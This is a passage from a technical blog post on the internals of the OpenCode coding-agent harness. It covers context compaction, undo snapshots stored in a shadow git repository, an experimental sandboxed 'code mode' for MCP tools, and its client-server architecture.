&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;PRUNE_PROTECT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="nx"&gt;_000&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;TOOL_OUTPUT_MAX_CHARS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="nx"&gt;_000&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;PRUNE_PROTECTED_TOOLS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;skill&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;DEFAULT_TAIL_TURNS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;MIN_PRESERVE_RECENT_TOKENS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="nx"&gt;_000&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;MAX_PRESERVE_RECENT_TOKENS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="nx"&gt;_000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The loop calls &lt;code&gt;isOverflow()&lt;/code&gt; on every pass, which adds up the whole conversation, including the tokens the provider served out of cache, and compares it against what the model can actually take. When the count crosses that line, &lt;code&gt;compaction.create()&lt;/code&gt; runs and the loop starts over.&lt;/p&gt;

&lt;p&gt;Compaction draws a line across the conversation. Everything after the line is left completely alone, and keeps going to the model exactly as it was written. Everything before the line is deleted from the request and replaced with a few paragraphs of summary. The code calls those two halves the &lt;strong&gt;tail&lt;/strong&gt; and the &lt;strong&gt;head&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Where the line falls is a token budget, and the budget is one expression:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;MAX_PRESERVE_RECENT_TOKENS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
         &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;MIN_PRESERVE_RECENT_TOKENS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;usable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;0.25&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A quarter of what the model can actually take, floored at 2,000 tokens and capped at 8,000. A model with a big window keeps more of its recent history untouched than a small one does. And if even the single newest turn is bigger than that budget, the line falls inside that turn rather than in front of it.&lt;/p&gt;

&lt;p&gt;The head doesn't go to the summarizer as messages. It's flattened into a plain text transcript first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[User]: find where the form validation lives

[Tool result]: src/form.tsx:42:  async function handleSubmit(...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;TOOL_OUTPUT_MAX_CHARS&lt;/code&gt; is the cap applied while that transcript is built, and nowhere else. Every &lt;code&gt;[Tool result]&lt;/code&gt; line gets cut to its first 2,000 characters. It is not a limit on what your model sees during a normal turn, it's a limit on how much of any one tool result the summarizer may read while deciding what mattered. The transcript goes to the hidden &lt;code&gt;compaction&lt;/code&gt; agent from the previous section, and its reply is stored as an ordinary assistant message flagged &lt;code&gt;summary: true&lt;/code&gt;. Everything it covers stops being sent from then on. The old messages are still sitting in SQLite.&lt;/p&gt;

&lt;p&gt;The three &lt;code&gt;PRUNE_&lt;/code&gt; constants belong to a second mechanism, and it's off unless you ask for it: &lt;code&gt;compaction.prune&lt;/code&gt; defaults to false. Pruning clears the results of old tool calls in place, protecting the newest 40,000 tokens of tool output and only bothering at all if it can reclaim more than 20,000, since rewriting stored messages invalidates the provider's prompt cache. What it clears is the result only. The record that the call happened, and with what arguments, stays.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;PRUNE_PROTECTED_TOOLS&lt;/code&gt; has exactly one entry: &lt;code&gt;skill&lt;/code&gt;. A skill exists to inject instructions the model is supposed to keep following, so clearing its output would leave the model three turns later still acting on a procedure whose text is no longer in front of it, with no error to trace that back from. Naming the exception in a constant beats burying it in a condition.&lt;/p&gt;

&lt;p&gt;One last number. Overflow is measured against &lt;code&gt;usable()&lt;/code&gt;, which is the model's input limit minus a reserve, and the reserve is room for the model's own reply:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;COMPACTION_BUFFER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ProviderTransform&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;maxOutputTokens&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;outputTokenMax&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The window has to hold the conversation and the response coming back, so you have to call it overflow before the conversation alone fills it. &lt;code&gt;COMPACTION_BUFFER = 20_000&lt;/code&gt; is only a ceiling on that: whatever the model claims it can emit, don't hold back more than twenty thousand tokens waiting for it.&lt;/p&gt;

&lt;p&gt;None of this is clever. It's just written down where you can see it and change it, which almost nothing else in this space is.&lt;/p&gt;

&lt;h2&gt;
  
  
  Undo: a second git repository your git log has never heard of
&lt;/h2&gt;

&lt;p&gt;OpenCode has an undo. &lt;code&gt;/undo&lt;/code&gt; rewinds the session by one user message: the conversation steps back, your prompt lands back in the input box, and your files go back to how they were before that message ran. &lt;code&gt;/redo&lt;/code&gt; steps forward again.&lt;/p&gt;

&lt;p&gt;The conversation half of that is easy. Messages are rows in SQLite, so rewinding them is bookkeeping. The files are the hard half, because the agent edits them in place. Nothing is staged, nothing is pending, every edit lands on disk for real. Undo the chat without undoing the disk and you'd have a conversation that never mentions the refactor and a working tree full of it.&lt;/p&gt;

&lt;p&gt;So while the model works, OpenCode keeps taking snapshots of your project: once before the stream opens, then again as each step starts and finishes. Each message part records the id of the snapshot from its moment. Undo is then a lookup. Find the snapshot belonging to the message you're rewinding to, and write those files back over your project.&lt;/p&gt;

&lt;p&gt;To take a snapshot, OpenCode doesn't copy files itself. It shells out to the &lt;code&gt;git&lt;/code&gt; binary and lets git do the storing, the same way you'd script it by hand. These are OpenCode's own subprocesses, nothing to do with any &lt;code&gt;git&lt;/code&gt; the model might run in your terminal. Which raises the obvious question of where the snapshots go. Not into your repository: &lt;code&gt;git stash&lt;/code&gt; and scratch branches both leave agent debris in the history you care about.&lt;/p&gt;

&lt;p&gt;Instead OpenCode leans on a distinction git usually hides. A repository is really two things: the &lt;code&gt;.git&lt;/code&gt; folder holding the stored objects, and the working tree, the files on disk being tracked. They normally live together and you never think about them separately. But two flags let you point at each one independently, and OpenCode puts both on every git command the snapshot code spawns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;gitdir&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Global&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;snapshot&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;project&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Hash&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;worktree&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;--git-dir&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;gitdir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;--work-tree&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;worktree&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first line builds &lt;code&gt;gitdir&lt;/code&gt;, a path inside OpenCode's own data directory, &lt;code&gt;~/.local/share/opencode&lt;/code&gt;, one folder per project. The second line puts both flags in front of every git command, so each one runs like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git &lt;span class="nt"&gt;--git-dir&lt;/span&gt;   ~/.local/share/opencode/snapshot/&amp;lt;project&amp;gt;/&amp;lt;&lt;span class="nb"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--work-tree&lt;/span&gt; ~/code/your-project &lt;span class="se"&gt;\&lt;/span&gt;
    &amp;lt;&lt;span class="nb"&gt;command&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That command reads the files in &lt;code&gt;~/code/your-project&lt;/code&gt; and stores what it snapshots in OpenCode's folder. Your own &lt;code&gt;.git&lt;/code&gt; is never opened. Nothing appears in &lt;code&gt;git log&lt;/code&gt;, there are no stash entries to clean up, and deleting &lt;code&gt;~/.local/share/opencode&lt;/code&gt; costs you nothing but your undo history.&lt;/p&gt;

&lt;p&gt;A snapshot isn't even a commit. &lt;code&gt;track()&lt;/code&gt; ends with &lt;code&gt;git write-tree&lt;/code&gt;, which stores a tree object and returns its hash, and that hash is the whole snapshot. No commit, no branch, no message. The shadow repository is just a bag of trees keyed by hash.&lt;/p&gt;

&lt;p&gt;Snapshotting around every step sounds expensive, and it is on the critical path: &lt;code&gt;track()&lt;/code&gt; takes a lock and the loop waits for it. But it never scans your whole project. It asks git what moved, &lt;code&gt;diff-files&lt;/code&gt; for tracked changes and &lt;code&gt;ls-files --others&lt;/code&gt; for new files, drops anything gitignored or over a size limit, and stages only what's left. After a one-line edit, the snapshot stages one file.&lt;/p&gt;

&lt;p&gt;Which raises a fair question: if a snapshot is usually a file or two, why involve git at all? Because a step can touch anything. The model can emit several tool calls in one step, and a single &lt;code&gt;shell&lt;/code&gt; call can rewrite hundreds of files by itself, since &lt;code&gt;npm install&lt;/code&gt; and a codemod and &lt;code&gt;git checkout&lt;/code&gt; are all just commands. And undo rewinds across many steps at once, where some files have to reappear and others have to vanish. What you restore is the project at a moment, not a file.&lt;/p&gt;

&lt;p&gt;Git gives all of that away for free. A tree hash names an entire project state while only paying for the blobs that changed, everything else being shared with the tree before it. Restoring one is two commands. The file list the UI shows per step is &lt;code&gt;git diff --cached&lt;/code&gt; against the step's hash. Skipping &lt;code&gt;node_modules&lt;/code&gt; is &lt;code&gt;git check-ignore&lt;/code&gt; against your own rules. Keeping the folder from growing forever is &lt;code&gt;git gc&lt;/code&gt;. Build this by hand and you've written content-addressed storage, tree diffing, ignore matching and garbage collection.&lt;/p&gt;

&lt;p&gt;One problem is left: the very first snapshot. A fresh shadow repository has nothing stored, so the first add has to hash every file you own. Someone hit that:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Reuse the hashes for the git storage between the original repo and snapshot&lt;/span&gt;
&lt;span class="c1"&gt;// on huge repos like chromium checkout the git add --all rebuilding the&lt;/span&gt;
&lt;span class="c1"&gt;// hashes can take minutes. By doing this we eliminating this at all&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fix is a git feature called alternates: a repository can borrow another one's stored objects instead of keeping its own copies. OpenCode writes one line of config into the shadow repository, and that line is the path to your &lt;code&gt;.git/objects&lt;/code&gt;. Everything already in your history is found there, so the opening add has almost nothing left to hash. Your existing index is copied over as a seed too, and the shadow repository is initialized with &lt;code&gt;feature.manyFiles&lt;/code&gt;, &lt;code&gt;index.version 4&lt;/code&gt; and &lt;code&gt;core.untrackedCache&lt;/code&gt;, the settings you reach for when a worktree is enormous.&lt;/p&gt;

&lt;p&gt;None of that touches your repository. The config file sits in OpenCode's folder, not yours, and all it does is name one more place for git to read from.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fshadow-repo.svg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fshadow-repo.svg" title="Two git dirs, one set of files. The borrowing only goes one way." alt="A diagram of the OpenCode snapshot system. Your files on disk are edited by the agent for real, and two git directories look at those same files: your own .git, which OpenCode never writes to, and a shadow .git under ~/.local/share/opencode holding one tree object per model step. The shadow repo stores its own new objects, and a single line in its objects/info/alternates points at your .git/objects so anything already in your history is read from there instead of re-hashed." width="1400" height="640"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That's the whole undo story: a second git repository that stores loose trees, and one line of config so the first snapshot isn't slow.&lt;/p&gt;

&lt;h2&gt;
  
  
  Code mode: the experiment that could replace the tool list
&lt;/h2&gt;

&lt;p&gt;That's the harness as it ships. This section is the one place the post looks forward instead, at an experiment aimed squarely at the tool surface from earlier.&lt;/p&gt;

&lt;p&gt;Start with what tool calling costs today. Every MCP server you connect adds the full schema of every one of its tools to every request, whether or not the model ever uses them. And every tool result comes back through the model. Independent calls can go out together in one step, but the moment one call's output decides the next call, that's a round trip: the result lands in the context window, the model reads it, and only then can it emit the next call. Chain ten dependent lookups and you pay ten round trips, with all ten intermediate results sitting in the window even if you only needed one number out of the last.&lt;/p&gt;

&lt;p&gt;Code mode is an experiment, behind a flag, that attacks both costs at once. Turn it on and OpenCode stops handing the model MCP tools at all. It gets one tool instead, called &lt;code&gt;execute&lt;/code&gt;, and the argument to &lt;code&gt;execute&lt;/code&gt; is a JavaScript program.&lt;/p&gt;

&lt;p&gt;Inside that program, every MCP tool is a plain function, filed under its server's name: &lt;code&gt;tools.&amp;lt;server&amp;gt;.&amp;lt;tool&amp;gt;&lt;/code&gt;. Say you've connected a GitHub MCP server that has a &lt;code&gt;get_issue&lt;/code&gt; tool. Instead of emitting a tool call and waiting for the harness, the model writes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// calling the function runs the real get_issue tool on the github server&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;issue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;github&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_issue&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="c1"&gt;// issue is just a variable now holding the tool's result&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;issue&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;isStale&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;issue&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;open&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The tool call became a line of code, and the tool's result became a value in a variable. That's the whole trick. In the normal loop, &lt;code&gt;get_issue&lt;/code&gt;'s result would be pasted into the context window for the model to read before it could do anything with it. Here the program reads it, keeps the two fields that matter, and only the object after &lt;code&gt;return&lt;/code&gt; travels back to the model.&lt;/p&gt;

&lt;p&gt;And because it's a program, it can chain dependent calls, loop, branch, and run independent calls in parallel, all in one round trip regardless of how many tools it touches. The intermediate results live and die inside the program.&lt;/p&gt;

&lt;p&gt;How does the model know &lt;code&gt;tools.github.get_issue&lt;/code&gt; exists? A catalog: every connected tool listed as a type signature, packed into the &lt;code&gt;execute&lt;/code&gt; tool's description under a token budget of 2,000 by default. That replaces the pile of JSON schemas from before. Tools that don't fit the budget get a one-line stub the model can look up when it needs the details.&lt;/p&gt;

&lt;p&gt;The part that surprised me is how the program runs. I went in expecting a sandboxed &lt;code&gt;eval&lt;/code&gt;, or a VM context with the dangerous globals deleted, which is how everyone else does this. &lt;code&gt;packages/codemode&lt;/code&gt; is an actual JavaScript interpreter, 3,465 lines in &lt;code&gt;src/interpreter/runtime.ts&lt;/code&gt;, with its own standard library across twelve modules: collections, console, date, json, math, number, object, promise, regexp, string, url, value. The library is an allowlist that goes down to individual method names. &lt;code&gt;collections.ts&lt;/code&gt; opens with a set of exactly 35 array methods, and anything not in that set does not exist inside a program. Someone sat down and enumerated the array methods an agent is allowed to call. &lt;code&gt;require&lt;/code&gt; and &lt;code&gt;fetch&lt;/code&gt; and &lt;code&gt;process&lt;/code&gt; are not missing so much as never implemented. Tool arguments are validated against schemas before each call, results are copied across a plain-data boundary on the way back, and there are execution limits. The README puts the boundary plainly:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;without receiving ambient filesystem, process, network, module, or application authority&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Today the experiment stops at the MCP surface: the 17 built-in tools still ship as ordinary tools, and &lt;code&gt;execute&lt;/code&gt; covers everything you connected on top. But the direction is bigger than that, and OpenCode isn't alone in it. Codex is heading the same way with &lt;code&gt;"tool_mode": "code_mode_only"&lt;/code&gt; on its newest models. Two teams, independently, decided the answer is to stop showing the model a menu.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fcode-mode-context.svg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fcode-mode-context.svg" title="What each approach puts in the context window on every single turn." alt="A diagram comparing the tool surface today with code mode. Today every request carries the full schema of all seventeen built-in tools plus every tool of every connected MCP server, used or not. Under code mode the MCP tools collapse into one execute tool and a catalog held to a two thousand token budget, the built-ins stay for now, and the model writes a program that packages/codemode runs against the real tools." width="1400" height="660"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The last few years of harness design assumed the job was to describe tools well enough that the model picks the right one. Code mode assumes the model is a competent programmer and the harness should just hand it an API. If that's right, most of the 29,000 words in Claude Code's tool descriptions are describing something the model would rather have as a type signature.&lt;/p&gt;

&lt;h2&gt;
  
  
  The architecture: a server that happens to have a terminal attached
&lt;/h2&gt;

&lt;p&gt;Run &lt;code&gt;opencode&lt;/code&gt; and what starts looks like a terminal program. It's really two programs. One is an HTTP server that runs the agent: every subsystem in this post lives inside it. The other is the terminal UI, and it's a client of that server, with no more access than any other program that speaks HTTP.&lt;/p&gt;

&lt;p&gt;The server is the half that matters. Everything a client needs to drive the agent is an endpoint on it: create a session, send a message, answer the permission prompt or the question the agent just raised, browse the diff, and an event stream that pushes everything happening in the session to whoever is listening. The API also describes itself: &lt;code&gt;server/server.ts&lt;/code&gt; produces an OpenAPI document, a machine-readable list of every endpoint, and the client SDK is generated from that document instead of written by hand, so every client always matches the server. The server can even announce itself over mDNS, the same protocol that makes printers appear on your network, so a browser on another machine can find the session running on your laptop.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fserver-architecture.svg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fserver-architecture.svg" title="The harness is a component inside a service. The terminal is a client with no more standing than the browser tab." alt="A diagram of the OpenCode process architecture. Five clients (terminal UI, web client, VS Code extension, desktop app and Slack bot) all speak HTTP and SSE to a single opencode server process, which runs the harness against a SQLite database and reaches out to model providers, MCP servers over stdio, SSE and streamable HTTP, 38 auto-installed language servers, and your working tree with its shadow git repository." width="1480" height="700"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Every subsystem this post has walked through, the tools, the prompts, the compaction, the snapshots, lives inside that one server box in the middle. The harness is a component inside a service, the service is the product, and the terminal is a client with no more standing than the browser tab.&lt;/p&gt;

&lt;p&gt;Now the clients, one at a time. The first is the terminal UI, which is built like a web app that happens to render into a terminal: SolidJS running on OpenTUI, a reactive framework drawing your prompt. Here it is mid-session:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fterminal.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fterminal.png" title="One screen of the TUI, with the tool surface, the question tool, a model from another vendor entirely, and the compaction counter all visible at once." alt="The OpenCode terminal UI mid-session. The prompt reads " width="800" height="653"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This one screen touches most of the subsystems from this post. The &lt;code&gt;Grep&lt;/code&gt;, &lt;code&gt;Glob&lt;/code&gt; and &lt;code&gt;Read&lt;/code&gt; calls in the middle are the tool surface, named tools instead of the model reasoning its way to &lt;code&gt;rg&lt;/code&gt;. The "Asking questions" line is the &lt;code&gt;question&lt;/code&gt; tool, which only exists when the client is the CLI, app or desktop. The footer says Claude Opus 4.5, a model running in a harness with no relationship to Anthropic, which is why there are nine system prompts. And the token counter in the top right is the compaction machinery watching the window fill up.&lt;/p&gt;

&lt;p&gt;The second client is a browser:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fweb-client.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fweb-client.png" title="Not a web app that resembles the terminal one. A browser pointed at the server already running on your laptop." alt="The OpenCode web client showing a session in the browser. The address bar reads 127.0.0.1:4096 with a session ID, and the header shows a live server indicator and 7 connected MCP servers." width="800" height="570"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The address bar gives the whole thing away: &lt;code&gt;127.0.0.1:4096&lt;/code&gt;, then a session ID. This is not a separate web app that resembles the terminal one, it's a browser pointed at the same server already running on your laptop, showing the same session. The header carries a live connection indicator and a count of connected MCP servers, and the right pane is reviewing the session's diff.&lt;/p&gt;

&lt;p&gt;The third client is the VS Code extension, though this shot of it is from a much older build, back when the version string still read v0.4.45:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fvscode.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fvscode.png" title="A third client on the same server. This shot is from a much older build, back when the version string still read v0.4.45." alt="The OpenCode VS Code extension in a side panel next to an open file. It reads a component, explains the change, and shows an inline diff switching a button variant from primary to danger." width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

